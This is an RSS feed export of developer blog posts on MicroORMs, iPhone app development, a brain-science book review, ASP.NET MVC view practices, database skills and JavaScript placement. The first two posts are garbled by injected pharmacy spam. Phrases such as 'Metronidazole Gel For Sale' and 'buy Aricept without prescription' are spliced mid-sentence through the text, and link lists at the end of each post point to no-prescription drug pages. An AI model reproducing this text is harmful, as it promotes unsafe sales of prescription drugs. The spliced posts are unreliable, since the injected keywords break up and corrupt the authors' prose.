			<content:encoded><![CDATA[<p> <p> <b>Metronidazole Gel For Sale</b>, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when you are really trying to drive performance, there is a lot of overhead in there.&#160; Besides, my general rule has been a good ORM can handle 80-90% of your queries, and then performance tune out as needed.&#160; I’m at the performance tuning part now.</p>  <p>BTW: if you are using Entity Framework you are in the same boat.</p>  <p>So the question is, what to do with that last 10-20% that you need performance on?&#160; Previously I had gone straight to Ado.Net, or used my own <a href="http://fluentado.codeplex.com/">FluentAdo</a> project.&#160; But a few new projects have dropped in on the scene and it was time to take a look.</p>  <p>Let’s start off with some requirements: </p>  <ol>   <li>Don’t be a pain to setup.</li>    <li>Don’t hork up my domain model (I have NHibernate for that).&#160; POCO preferred.</li>    <li>Be able handle multiple result sets (something NHibernate does not do well)</li>    <li>Preference executing raw sql, not an api.&#160; </li> </ol>  <ol>I don’t need:   <li>A custom query api for constructing sql. </li>    <li>Change tracking</li>    <li>Caching </li>    <li>Lazy Loading </li>    <li>Automatically loading child objects </li> </ol>  <ol>Basically, <b>online buying Metronidazole Gel</b>, <b>My Metronidazole Gel experience</b>, be simple, be light, <b>order Metronidazole Gel online c.o.d</b>, <b>Metronidazole Gel samples</b>, be fast, don’t be another NHibernate.&#160; </ol>  <p>Now the Contenders:</p>  <ul>   <ul>     <li><font style="background-color: #ffffff">Dapper </font></li>      <li>Simple.Data</li>      <li>Massive</li>      <h3>       <ul></ul>        <ul>Dapper</ul>     </h3>      <p><a href="http://code.google.com/p/dapper-dot-net/">Dapper</a> is my current favorite.&#160; I deals with POCO objects, <b>Metronidazole Gel online cod</b>, <b>Discount Metronidazole Gel</b>, setup is very simple, very little overhead and ceremony.&#160; That said, <b>purchase Metronidazole Gel online</b>, <b>Metronidazole Gel dose</b>, it is probably the rawest for dealing with sprocs.&#160; But for a bare metal way of loading domain objects, this guy is hard to beat.</p> Here is a sample query:</ul>    <p>var customer = _connection.Query&lt;Customer&gt;(     <br />&#160;&#160;&#160; &quot;select * from dbo.Customers where CustomerId = @id&quot;, <b>where can i buy cheapest Metronidazole Gel online</b>, <b>Metronidazole Gel pictures</b>, <br />&#160;&#160;&#160; new {id = 1})      <br />&#160;&#160;&#160; .FirstOrDefault();</p>    <p>Basically, Dapper handles all of my requirements with ease.&#160; I almost forgot to mention, <b>where can i find Metronidazole Gel online</b>, <b>Metronidazole Gel photos</b>, Dapper is compatible with .Net 4.0 and 3.5.&#160;&#160; That is a huge win for me.&#160; Plus, the guys on Stack Overflow are using it, <b>Metronidazole Gel samples</b>, <b>Metronidazole Gel recreational</b>, which makes for an easy “sell” to my management team.</p>    <p>&#160;</p>    <h3>Simple.Data</h3>    <ul><a href="https://github.com/markrendle/Simple.Data">Simple.Data</a> is also very interesting.&#160; It makes extensive use of .net 4.0 and the dynamic.&#160; Simple.Data is fairly ORM’ish, in that it seems to scan your database schema and dynamically add methods for retrieving data.&#160; But it still uses POCO classes so I am good with that.</ul> Here is a sample query:</ul>  <p>var db = Database.Open();   <br />var customer = db.Customers.FindByCustomerId(1);</p>  <p>To get that to work I defined the customer class with a CustomerID…and that is it.&#160; Dapper came up with the FindByCustomerId part.&#160; It also adds stored procs as well, <b>Metronidazole Gel pictures</b>, <b>Order Metronidazole Gel no prescription</b>, so if I have a sproc called “GetCustomers”, I can call:</p>  <p>db.GetCustomers()</p>  <p>It is just scary what is going on here.&#160; Granted there is a down-side to this system – albiet minor.&#160; There is a bit of overhead while Simple.Data scans your database schema and gets setup.</p>  <p>Verdict: I don’t mind Simple.Data, <b>Metronidazole Gel reviews</b>, <b>Metronidazole Gel wiki</b>, but the .Net 4.0 only part is a problem, plus it strays a bit into becoming a ORM – a bit too much API, <b>Metronidazole Gel no prescription</b>, <b>Metronidazole Gel duration</b>, but nothing obnoxious.</p>  <h3>Massive</h3>  <p>I should have known how this one would turn out ahead of time, but I really didn’t want to believe it.&#160; When I was young and foolish I was a SubSonic guy.&#160; Truth is, <b>Metronidazole Gel coupon</b>, <b>Metronidazole Gel dose</b>, I read Rob Connery’s blog religiously.&#160; But I moved passed SubSonic and onto NHibernate and never looked back.&#160; Heck, I moved passed Active Record and onto Repository Pattern.&#160; (Since then I’ve moved on again to Query/Command Pattern, <b>buy Metronidazole Gel without prescription</b>, <b>Online buy Metronidazole Gel without a prescription</b>, but another time for that).</p>  <p>First off, Massive horks up my domain model.&#160; Each entity has to inherit from DynamicModel.&#160; So before my model looked like this:</p>  <p>class Customer   <br />{    <br />&#160;&#160;&#160; public int CustomerId { get; set; }    <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>Now, <b>where can i find Metronidazole Gel online</b>, <b>Online Metronidazole Gel without a prescription</b>, Massive-fied:</p>  <p>class Customer: DynamicModel   <br />{    <br />&#160;&#160;&#160; public Customer(): base(&quot;Default&quot;)    <br />&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; TableName = &quot;Customers&quot;;    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; PrimaryKeyField = &quot;CustomerId&quot;;    <br />&#160;&#160;&#160; }</p>  <p>&#160;&#160;&#160; public int CustomerId { get; set; }   <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>And that “Default” in there, that is the name of my connection string.&#160; Wonderful.&#160; Also, <b>buy Metronidazole Gel online no prescription</b>, <b>Buy cheap Metronidazole Gel no rx</b>, because my table names are plural, I have to specify the name of my table for them in EVERY SINGLE CLASS.</p>  <p>Now, <b>Metronidazole Gel steet value</b>, <b>Get Metronidazole Gel</b>, how to query:</p>  <p>var tbl = new Customer();   <br />var customer = tbl.Single(1);</p>  <p>Smack-dab, back to Active Record.</p>  <p>Also, <b>herbal Metronidazole Gel</b>, <b>Metronidazole Gel australia, uk, us, usa</b>, I didn’t see anything on how to parse multiple result sets.</p>  <p>Go to <a href="http://blog.wekeroad.com/helpy-stuff/and-i-shall-call-it-massive">Rob’s site and you will see more samples</a>.&#160; Needless to say, it is off my list.&#160; Granted, <b>after Metronidazole Gel</b>, <b>Purchase Metronidazole Gel online no prescription</b>, Massive is still much less overhead than NHibernate and Entity framework, but there is too much API there for me, <b>Metronidazole Gel from mexico</b>, <b>Order Metronidazole Gel from United States pharmacy</b>, too much setup, I don’t get my POCOs, <b>Metronidazole Gel long term</b>, <b>Buy cheap Metronidazole Gel</b>, etc.</p>.  Metronidazole Gel cost.  Order Metronidazole Gel online overnight delivery no prescription.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4831'>Buy Glucophage Without Prescription</a>. <a href='http://elegantcode.com/?p=4622'>Buy Diclofenac Without Prescription</a>. <a href='http://elegantcode.com/?p=4307'>Buy Toradol Without Prescription</a>. <a href='http://elegantcode.com/?p=4308'>Buy Cipro Without Prescription</a>. <a href='http://elegantcode.com/?p=4240'>Buy Combivent Without Prescription</a>. <a href='http://elegantcode.com/?p=5052'>Lotrisone cost</a>. <a href='http://elegantcode.com/?p=4233'>Online buying Pristiq hcl</a>. <a href='http://elegantcode.com/?p=4859'>Where to buy Triamterene</a>. <a href='http://elegantcode.com/?p=5163'>Online buying Zithromax</a>. <a href='http://elegantcode.com/?p=4218'>Elavil use</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.macneilbmx.com/blog/?p=5244'>Metronidazole Gel For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3407'>Metronidazole Gel For Sale</a>. <a href='http://www.thegriffonnews.com/?p=9775'>Metronidazole Gel For Sale</a>. <a href='http://www.independentworldreport.com/?p=198'>Metronidazole Gel For Sale</a>. <a href='http://www.themusclecarplace.com/?p=2956'>Metronidazole Gel For Sale</a>. <a href='http://www.quarterlives.com/?p=920'>Buy no prescription Metronidazole Gel online</a>. <a href='http://tayloegray.com/?p=253'>Metronidazole Gel alternatives</a>. <a href='http://social-blend.com/?p=761'>Metronidazole Gel schedule</a>. <a href='http://blog.farmland.org/?p=3382'>Online buy Metronidazole Gel without a prescription</a>. <a href='http://www.leaduganda.org/?p=1014'>Metronidazole Gel no prescription</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/08/02/thoughts-on-microorms/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Aricept For Sale</title>
		<link>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=so-what-was-i-thinking-anyway</link>
		<comments>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 01:26:28 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=4228</guid>
		<description><![CDATA[Aricept For Sale, Ever start a project just to learn something new. Aricept treatment,  But to do it, you have to have an app idea to throw around it, generic Aricept. Order Aricept online overnight delivery no prescription,  I had one of those.  I've been doing a wee bit of iOS development over the past [...]]]></description>
			<content:encoded><![CDATA[<p> <b>Aricept For Sale</b>, Ever start a project just to learn something new.  <b>Aricept treatment</b>,  But to do it, you have to have an app idea to throw around it, <b>generic Aricept</b>.  <b>Order Aricept online overnight delivery no prescription</b>,  I had one of those.  I've been doing a wee bit of iOS development over the past year, <b>Aricept class</b>, <b>Aricept pictures</b>, and I found I wanted to learn about iAds, in App Purchasing, <b>buy no prescription Aricept online</b>, <b>Online buy Aricept without a prescription</b>, talking between devices (via BlueTooth), and just get better at coding in general, <b>Aricept price</b>.  <b>Aricept forum</b>, I did just that.  I created an IPhone/IPad app called <a href="http://www.diamondbsoftware.com/index.php/agile-cards/">Agile Cards</a>, <b>Aricept For Sale</b>.  You can read up on it if you like, <b>cheap Aricept no rx</b>.  <b>Aricept trusted pharmacy reviews</b>,  Agile Cards is your basic card estimation app for the IPhone.  Real original, <b>effects of Aricept</b>, <b>Buy generic Aricept</b>, I know.  I think my competition is about a dozen other apps, <b>no prescription Aricept online</b>.  <b>Aricept For Sale</b>,  The only thing Agile Cards does that the others do not (that I know of) is use an IPad as a server.  <b>Buy Aricept online cod</b>,  This is optional of course.  So if you have several IPhones and an IPad you can have a digitally dynamic Scrum Estimation, <b>herbal Aricept</b>.  <b>About Aricept</b>, So what was I thinking.  I was thinking I needed practice, <b>Aricept coupon</b>.</p>
<p>I knew what I wanted to practice, so I thought up an app to do that with, <b>Aricept For Sale</b>.  <b>Buy Aricept without prescription</b>,  Now the great thing about the App Stores (for Apple, Android, <b>Aricept dosage</b>, <b>Aricept price, coupon</b>, and WinPhone 7), is that you can "easily" take these little apps that you are writing and sell them, <b>doses Aricept work</b>.  <b>Aricept maximum dosage</b>,  I've had dozens of apps that I've done for exactly the same purpose (to learn), but never had an easy route for selling them, <b>Aricept from canada</b>.  <b>Purchase Aricept for sale</b>,  And setting up an online store is just a big pain as far as I'm concerned.</p>
<p>But I put easily in quotes up there, <b>Aricept over the counter</b>.  <b>Aricept For Sale</b>,  There are a few caveats to my statement above.  <b>Aricept mg</b>,  I had a designer that wanted to do some more IPhone designing.  I've helped him with apps as well, <b>Aricept cost</b>, <b>Order Aricept from mexican pharmacy</b>, so he was happy to help out.  If  you are going to go onto an app store, <b>purchase Aricept</b>, <b>Comprar en línea Aricept, comprar Aricept baratos</b>, you will/should spend more time on user experience than you normally would, especially if you were just writing the app for yourself, <b>Aricept australia, uk, us, usa</b>.  <b>Where can i buy cheapest Aricept online</b>, There is also the hassle of dealing with the app store requirements.  You need icons, splash screens, verbiage (which I kind of suck at), a web site, screen shots, email addresses, etc, <b>Aricept For Sale</b>.  I even setup a Google Voice account for it, <b>Aricept steet value</b>.  <b>Aricept long term</b>,   All this for a free app.  (OK, <b>cheap Aricept</b>, <b>Real brand Aricept online</b>, there are ad, but free none the less), <b>order Aricept online c.o.d</b>.  <b>What is Aricept</b>, What was I thinking.  <b>Aricept For Sale</b>,  I was thinking I also needed the practice of finishing an app.</p>
<p>There is nothing wrong with starting an app and throwing it away, <b>Aricept gel, ointment, cream, pill, spray, continuous-release, extended-release</b>, or just stopping when you don't need to go any further.  You end up with a program with a few quirks (bugs) that never get fixed, but you are probably the only person using it anyway.  That is fine.  But every now and then you need to FINISH something.  By FINISH, I mean shipping quality, <b>Aricept For Sale</b>.  Shipping quality is hard btw.  It takes more time.  You need other people looking at things.</p>
<p>This is to remind you that software can be hard.  <b>Aricept For Sale</b>,  We deal with details, lots of them.  Selling software to other people means dealing with even more details.  It is good to do every now and then.  On your own.</p>
<p>So what was I thinking.   I thought it sounded like fun, <b>Aricept For Sale</b>.</p>
<p>And by fun, like running a marathon half prepared fun.  BTW: I never did get to the "In app purchasing" bit.   I guess that can be next time.  It was to remove the ads.  I never have released an app with every single feature I ever wanted in it.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4435'>Lipitor For Sale</a>. <a href='http://elegantcode.com/?p=4660'>Buy Lumigan Without Prescription</a>. <a href='http://elegantcode.com/?p=4337'>Vibramycin For Sale</a>. <a href='http://elegantcode.com/?p=4935'>Buy Aricept Without Prescription</a>. <a href='http://elegantcode.com/?p=4204'>Seroquel For Sale</a>. <a href='http://elegantcode.com/?p=4427'>Bactrim dose</a>. <a href='http://elegantcode.com/?p=4756'>Is Plavix safe</a>. <a href='http://elegantcode.com/?p=4426'>Lexapro without prescription</a>. <a href='http://elegantcode.com/?p=4587'>Where can i order Pristiq without prescription</a>. <a href='http://elegantcode.com/?p=4190'>Online Allopurinol without a prescription</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=581'>Aricept For Sale</a>. <a href='http://4realz.net/?p=1491'>Aricept For Sale</a>. <a href='http://www.leaduganda.org/?p=468'>Aricept For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6291'>Aricept For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3626'>Aricept For Sale</a>. <a href='http://social-blend.com/?p=1085'>Aricept reviews</a>. <a href='http://blog.farmland.org/?p=3058'>Purchase Aricept for sale</a>. <a href='http://reversemortgagedaily.com/?p=14779'>Aricept dosage</a>. <a href='http://linuxologist.com/?p=395'>Purchase Aricept online no prescription</a>. <a href='http://home.officesnapshots.com/?p=167'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Book Review: Brain Rules</title>
		<link>http://elegantcode.com/2010/11/20/book-review-brain-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=book-review-brain-rules</link>
		<comments>http://elegantcode.com/2010/11/20/book-review-brain-rules/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 00:28:50 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/11/20/book-review-brain-rules/</guid>
		<description><![CDATA[This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads. The book, Brain Rules [...]]]></description>
			<content:encoded><![CDATA[<p>This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads.</p>  <p>The book, Brain Rules by John Medina, is about the brain and what is actually know about.&#160; I like the author’s criteria for what went in the book.&#160; He called it the “Cranky Scientist Rule.”&#160; Nothing is in the book that hasn’t been published in a scientific journal, peer reviewed, and duplicated by someone else.&#160; I liked that as well.</p>  <p>Each chapter, and there are 12 of them, are about what the brain needs, and how best to give the brain what it needs.&#160; There are chapters specific to Sleep, Stress, Short term memory, long term memory, and gender.&#160; There are few absolutes in the book (except multitasking, he says you can’t do it and wants to ban texting in cars – I’ll grant him that one), but LOTS of pointers.&#160; Also, there are plenty of asides where he talks about actual people with interesting conditions you should really hope you don’t get (but probably wouldn’t notice if you did).</p>  <p>And for a book on the brain, it is not dry at all.&#160; The Author is a VERY effective writer, and judging from his credentials, probably an excellent teacher as well.&#160; If you have a few minutes, I highly recommend checking out his web site: <a href="http://BrainRules.com">BrainRules.com</a> and watch some of his videos.</p>  <p><a href="http://www.amazon.com/Brain-Rules-Principles-Surviving-Thriving/dp/0979777747/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1290299287&amp;sr=1-1">Check out the book as well at amazon</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/11/20/book-review-brain-rules/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC: My Personal View Rules</title>
		<link>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-my-personal-view-rules</link>
		<comments>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:10:02 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=3641</guid>
		<description><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with [...]]]></description>
			<content:encoded><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with every new technology can be used poorly, and when use poorly you try to identify why that code was bad, how it could have been done better.

First, lets think about what the view should be doing - in a single responsibility sort of way: turn data into html.  That right there rules out several options.  No retrieving data, no extra data transformations.  Just turn some data into html.  And frankly, that is complicated enough.  So a side goal that I strive for is to create a markup page (the aspx) that is similar to the desired html output.  The main reason for that side goal is to make double checking the output that much easier.  I want to see a 'div' in my markup, and have a reasonable idea where that 'div' will show up in the html.
<ol>
	<li><strong>Keep as much code out of your views as you can.</strong></li>
</ol>
Don't make this rule overly simplistic.  Some code belongs in the view.  A 'for' loop to create a table, a simple 'if' block to show administrator functionality, stuff like that.  But you shouldn't be having to specify the DateTime format, or string parsing.  That is what the ViewModels should do for you.  Rule of thumb, if you see a block where there is more C# than HTML, you probably did it wrong.

I will also extend this rule to JavaScript as well.  I've talked about the why JavaScript should not be in the views before, so this should not be a shock.  JavaScript belong in separate files.  Period.

2. <strong>Make Views typed.</strong>

This is true for all views where you have to pass data from the controller to the view.  Make a View Model for the view and pass data via that model.  This opens up a whole host of better patterns for you, like typed HtmlHelpers.  As a result, it is VERY rare that I will share a view model between views, or even Controller Actions.  I make separate models for GET, POST, and DELETE.  I guess my view is, the more the merrier.

3.   <strong>Make the View Models specific to the needs of the view.</strong>

OK, this isn't actually a View best practice, but it is highly related.  If you try to keep the model for the view too generic, you end up with a lot of logic in the view to transpose the data into something useful.  The key point is that the data in the model serves the view, so all of the work to get the data into the correct format should be done when putting the data into  the model.  I will often take this to the point where the model will give html elements in the view their CSS classes.  So that means I have more than data from the database in the views.

Side note: when it comes to populating View Models with data specific for the View, <a href="http://automapper.codeplex.com/">AutoMapper</a> rocks!  That is all.

4.  <strong>Custom Html Helpers are wonderful things</strong>

It is remarkably simple to create your own Html Helper, and once you get the hang of them they are beautiful.  They are wonderful little ways to encapsulate a small amount of logic so you can get it out of the aspx view.  Use them to encapsulate small amounts of code you need in various place through the project.

Another little "trick" I will use from time to time to create custom models just for a html helper (passed in via the view's view model).  I have a few places where I need to change the markup because of the browser being used...so I create a custom helper that can detect the browser.

5. <strong>Standard HTML Helpers are great, but remember html</strong>

The key point I'm trying to make here is to become familiar with the output of the standard HTML helpers.  While the helpers can be great, they have their warts (anything having to do with an attribute name/value is a bit ugly).  Sometimes it is easier to swap them out with the standard html (especially with inputs) to get the exact output you want.  As a bonus, it is easier for the next guy coming in to figure out what you were after.   Currently, I'd say I use the helpers about 50% of the time over raw HTML.

Now, typing the html, or the helper, still kind of stinks.  You have to type the same code over and over.  Take a look at what <a href="http://code.google.com/p/zen-coding/">Zen-Coding</a> does.  You can do the same thing with ReSharper Templates or Visual Studio snippets...or just install one of the ReSharper or Visual Studio pluggins.  But beyond that, there is an art to customizing Visual Studio that you should learn.

6. <strong> Wrap all links in Url.Content and Url.Action</strong>

You have a web app.  You have to navigate between pages, call web services, link in javascript and CSS.  That is just what we do.  All of those links should be wrapped in Url.Content or Url.Action helpers.   The problem that is easy to run into is you move from development to test and the base url for your application changes.  You were testing at http://localhost:898989/ , and now you are deployed to http://myserver/myapp/  and a whole lot of urls just stopped working.  Url.Content and Url.Action are supposed to fix that.  That is why you use them.

7.  <strong>Get to know Partial Views for Ajax calls.</strong>

Partial views are actually just views that don't have master pages and the html/body tag sections.  Partials can be executed in a multitude of ways, not just from inside a view on the server, but also from Javascript on the browser. JQuery also has a wonderful little method called $.load that will call a url, take the html that is returned, and slap it into the page.  This can greatly simplify a lot of behaviors.

I subtle little trick I sometimes do with this this is to wrap a section of code that takes a long time to load in a partial.  I will then call that partial into my page AFTER is has loaded on the browser (using the JavaScript function setTimeout to call the $.load ).  Now I get  a page that loads faster, but still has all of the data it needs.

8. <strong>Make the Master page work for you.</strong>

It isn't that there is something inherently wrong with the existing master page that you get when you create a new Asp.net MVC project.  Typically it is 80% of what you would want.  But, as soon as I know what my general page is supposed to look like, I rip right into the Master Page.   Also keep in mind that you can nest Master Pages as well.

9. <strong>Think about what a designer would want.</strong>

Even if you don't have one.  This is just a general pattern I try to get into.  I think about a designer as someone that can take raw html, add some css and images and make my work look a LOT better.    This means I use the raw html whenever possible, I write my JavaScript click handler so they will work with buttons or links (hint: always return false -- and why haven't I written a JQuery plugin for this yet?).

10.  <strong>Version your css and JavaScript</strong>

This is actually getting into my next blog post, but figure out a way to version your JavaScript and CSS.  This really isn't MVC specific, you should do this in almost any project.  The key reason is to help you with a browser's cache.  You know you have a problem when the first thing someone tells you, when asking for help, is that they cleared their cache already.   My thought on this is your web app's dll should have a version number, set the project to auto version, and then pop that onto the end of the css/javascript file call.  So it might look like this:  "http://myapp/.../file.css?version=1.0.0.256".   In my sample code, when in development I stick a timestamp on the file in the same way.

OK, 10 rules is quite enough (I didn't even think I would get that many).   To the american's reading this: Happy Independence Day.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Developers still need database skills</title>
		<link>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=developers-still-need-database-skills</link>
		<comments>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/#comments</comments>
		<pubDate>Sat, 01 May 2010 00:53:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/04/30/developers-still-need-database-skills/</guid>
		<description><![CDATA[Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&#38;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not [...]]]></description>
			<content:encoded><![CDATA[<p>Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&amp;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not talking about that one at all.</p>  <p>I was going to talk to some of my fellow developers about a couple of database issues.&#160; The response was, “you said the ‘D’ word.&#160; Now, we are an NHibernate/Microsoft SQL Server shop (or, Fluent NHibernate), and we rarely have to think about think about database architecture.&#160; Heck, up till a month ago I don’t think we had to do any native SQL queries at all.&#160; Currently, I don’t think we have any stored procs at all.&#160; In my book, all of that is a good thing.&#160; You can also chalk one up to Microsoft SQL Server in this one, our system has grown a lot and performance has remained pretty darn stable.</p>  <p>And lets be frank, I love this – most of the time.&#160; Linq To NHibernate queries, Fluent NHibernate, and the like all make for a very enjoyable experience for developing against a database.&#160; I would say that the vast majority of our querying needs are met with no further issues.&#160; I certainly don’t want to go back to a stored proc world.&#160; </p>  <p>That said, I don’t like using our ORM as an excuse to not talk about database issues or SQL issues.&#160; If you are using a particular data storage technology, it still behooves you to know as much about it as possible.&#160; Otherwise, when you get to a point where you need to know about what is going on will be too late.&#160; Lets be frank here, no ORM will handle all of you query needs.&#160; At best we are talking 90%, sometimes only 80%, for a typical application.&#160; At some point you either have to go to the metal, or you end up coding things in a very strange way.</p>  <p>So here is the main point, as long as Relational Databases continue to be the “right answer” for business data storage, you need to learn database theory and SQL.&#160; You might not need to know SQL as well as your native C#, Ruby, or other main language.&#160; But that is not an excuse for not being comfortable with left outer joins, third normal form, and indexing.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Your JavaScript goes WHERE?</title>
		<link>http://elegantcode.com/2010/03/30/your-javascript-goes-where/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=your-javascript-goes-where</link>
		<comments>http://elegantcode.com/2010/03/30/your-javascript-goes-where/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 03:35:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[html]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/30/your-javascript-goes-where/</guid>
		<description><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” [...]]]></description>
			<content:encoded><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” type of voice, thinking this needed no further explanation.

Then the hands started raising.  Quickly, I might add.  I had to explain myself.  Yes, JavaScript goes at the bottom of your page.  Yes, I realize that we were all taught, back in the day, that JavaScript’s true home was in the &lt;head&gt; element.  In fact, <a href="http://docs.jquery.com/Tutorials:Getting_Started_with_jQuery">many sample pages still show JavaScript at the top</a>.  But we probably learned that ten years ago, you have to think a few things have changed…except IE6 – that sucker is going to live forever!  Anyway, I’m not the type that like to stand up in a crowd and say “everything you, and everyone you know, is doing is wrong” (I’m not that smart).  And if I do, I want to come with some substantial proof.

To start, <a href="http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.2.1">where does the w3c say the SCRIPT element is supposed to go?</a>  If you read the document in the link, SCRIPT can live in either the HEAD or the BODY elements. So technically, both places are legal.  I am stating this so that no one come back and tells me I’m breaking any fundamental web rules.  If the w3c says it is ok, then it is ok darn it.
<h2>But why the bottom of the page? </h2>
That one is slightly harder to explain.  But here are the basics:  when a browser loads a document there are only so many thread for processing the document and download all the other crap that you put on the page <a href="http://theoatmeal.com/comics/design_hell">so it pops</a> (so, images and css, not to mention the bagillion font tags that Word likes to put in html).  There is also an unwritten rule that JavaScript should enhance the page after it is loaded.  So any time the browser spends parsing JavaScript is time it could be using to make the page look right.  Also, with some browsers, when the browser is loading JavaScript, ALL OTHER ACTIVITY STOPS.  Nothing else is downloaded, the browser is at a standstill until all the script is parsed – and <a href="http://ejohn.org/blog/javascript-performance-rundown/">you know how fast IE is at JavaScript.</a>

Lets be clear about this “rule”.  <a href="http://developer.yahoo.com/performance/rules.html#js_bottom">I did not make this up.</a>  But there are other ways around the performance penalty, you can also <a href="http://code.google.com/speed/page-speed/docs/payload.html#DeferLoadingJS">defer load</a> your JavaScript.  Also, putting all of the JavaScript into a single, external file is a great idea.  With a external file you get the added benefit of the JavaScript file being cached by the browser (Note: great for the user – pain for your tester.  Repeat after me, “CLEAR YOUR CACHE” often when testing).

OK, so let us review.

<a href="http://elegantcode.com/wp-content/uploads/2010/03/image17.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb17.png" border="0" alt="image" width="823" height="594" /></a>
<h2>But how bad is this?</h2>
That is a fair question as well.  Truthfully, it depends.  I know that is my stock answer, but I’m talking about how much this will affect the user.  It could be nothing.  But if you have a lot of JavaScript on the page, it could be significant.   Potentially it could be as annoying as a blink tag.  Even worse it might be on par with ESPN and their auto-playing videos.   But, if we are talking about 10-20 lines of script, there could be no change at all in render time. I will say this, by moving the script to the bottom of the page I have taken pages that were not usable for 10 seconds, improved it to moments (the page had a LOT of JavaScript…and it was a very noble cause).
<h2>What else should I be doing that I’m not?</h2>
